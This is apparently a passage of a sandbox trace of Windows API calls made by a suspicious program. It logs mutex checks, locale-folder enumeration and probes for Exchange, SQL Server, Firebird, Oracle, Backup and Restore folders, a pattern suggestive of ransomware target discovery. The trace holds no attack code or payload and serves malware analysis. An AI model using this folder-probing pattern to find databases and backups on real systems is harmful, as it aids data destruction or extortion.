(hMem=0x44000c) returned 0 [0047.140] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.140] GlobalUnlock (hMem=0x440004) returned 0 [0047.140] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.140] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.140] GetLastError () returned 0x12 [0047.140] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.140] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.140] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.140] GlobalLock (hMem=0x440004) returned 0x551178 [0047.140] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.140] GlobalUnlock (hMem=0x440004) returned 0 [0047.140] GlobalLock (hMem=0x440004) returned 0x551178 [0047.140] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.140] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.140] GlobalUnlock (hMem=0x440004) returned 0 [0047.140] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.140] GlobalUnlock (hMem=0x44000c) returned 0 [0047.140] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.140] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.140] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.140] GlobalUnlock (hMem=0x44000c) returned 0 [0047.140] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.140] GlobalLock (hMem=0x440004) returned 0x553188 [0047.141] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.141] GlobalUnlock (hMem=0x44000c) returned 0 [0047.141] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.141] GlobalUnlock (hMem=0x440004) returned 0 [0047.141] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.141] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL") returned 1 [0047.141] GlobalLock (hMem=0x440004) returned 0x551178 [0047.141] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.141] GlobalUnlock (hMem=0x440004) returned 0 [0047.141] GlobalLock (hMem=0x440004) returned 0x551178 [0047.141] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.141] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.141] GlobalUnlock (hMem=0x440004) returned 0 [0047.141] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.141] GlobalUnlock (hMem=0x44000c) returned 0 [0047.141] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⣢R⢶R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0047.157] GetLastError () returned 0x3 [0047.157] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⡄R企@\x18㿬Q\x181")) returned 0xffffffff [0047.158] GetLastError () returned 0x2 [0047.158] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@❌R企@\x18?T\x18;")) returned 0xffffffff [0047.158] GetLastError () returned 0x2 [0047.158] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⎌R企@\x18?T\x18D")) returned 0xffffffff [0047.158] GetLastError () returned 0x2 [0047.158] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⡄R企@\x18❌R\x18j")) returned 0xffffffff [0047.158] GetLastError () returned 0x2 [0047.158] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⎌R企@\x18?T\x18q")) returned 0xffffffff [0047.158] GetLastError () returned 0x2 [0047.158] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@♔R企@\x18?T\x18y")) returned 0xffffffff [0047.158] GetLastError () returned 0x2 [0047.158] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⡄R企@\x18?T\x18\x81")) returned 0xffffffff [0047.159] GetLastError () returned 0x2 [0047.159] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⎌R企@\x18?T\x18\x88")) returned 0xffffffff [0047.159] GetLastError () returned 0x2 [0047.159] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@♔R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.159] GetLastError () returned 0x2 [0047.159] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⡄R企@\x18?T\x18\x97")) returned 0xffffffff [0047.159] GetLastError () returned 0x2 [0047.159] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.159] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.159] GlobalUnlock (hMem=0x44000c) returned 0 [0047.159] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.159] GlobalLock (hMem=0x440004) returned 0x553188 [0047.159] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.159] GlobalUnlock (hMem=0x44000c) returned 0 [0047.159] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.159] GlobalUnlock (hMem=0x440004) returned 0 [0047.159] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.159] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.159] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.159] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.160] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.160] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.160] GlobalLock (hMem=0x440004) returned 0x551178 [0047.160] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.160] GlobalUnlock (hMem=0x440004) returned 0 [0047.160] GlobalLock (hMem=0x440004) returned 0x551178 [0047.160] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.160] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.160] GlobalUnlock (hMem=0x440004) returned 0 [0047.160] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.160] GlobalUnlock (hMem=0x44000c) returned 0 [0047.160] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.160] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.160] GlobalUnlock (hMem=0x44000c) returned 0 [0047.160] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.160] GlobalLock (hMem=0x440004) returned 0x553188 [0047.160] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.160] GlobalUnlock (hMem=0x44000c) returned 0 [0047.160] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.160] GlobalUnlock (hMem=0x440004) returned 0 [0047.160] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.160] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.160] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.160] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.160] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.160] GlobalLock (hMem=0x440004) returned 0x552180 [0047.160] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.160] GlobalUnlock (hMem=0x440004) returned 0 [0047.160] GlobalLock (hMem=0x440004) returned 0x552180 [0047.161] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.161] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.161] GlobalUnlock (hMem=0x440004) returned 0 [0047.161] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.161] GlobalUnlock (hMem=0x44000c) returned 0 [0047.161] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.161] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.161] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.161] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.161] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.161] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.161] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.161] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.161] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.162] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.162] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.162] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.162] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.162] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.162] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.162] GetLastError () returned 0x12 [0047.162] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.162] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.162] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.162] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.162] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.162] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR") returned 1 [0047.162] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@◺R◎R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0047.162] GetLastError () returned 0x3 [0047.162] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18권Q\x181")) returned 0xffffffff [0047.163] GetLastError () returned 0x2 [0047.163] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@⎌R企@\x18?T\x18;")) returned 0xffffffff [0047.163] GetLastError () returned 0x2 [0047.163] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@♔R企@\x18?T\x18D")) returned 0xffffffff [0047.163] GetLastError () returned 0x2 [0047.163] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18⎌R\x18j")) returned 0xffffffff [0047.163] GetLastError () returned 0x2 [0047.163] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@♔R企@\x18?T\x18q")) returned 0xffffffff [0047.163] GetLastError () returned 0x2 [0047.163] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", 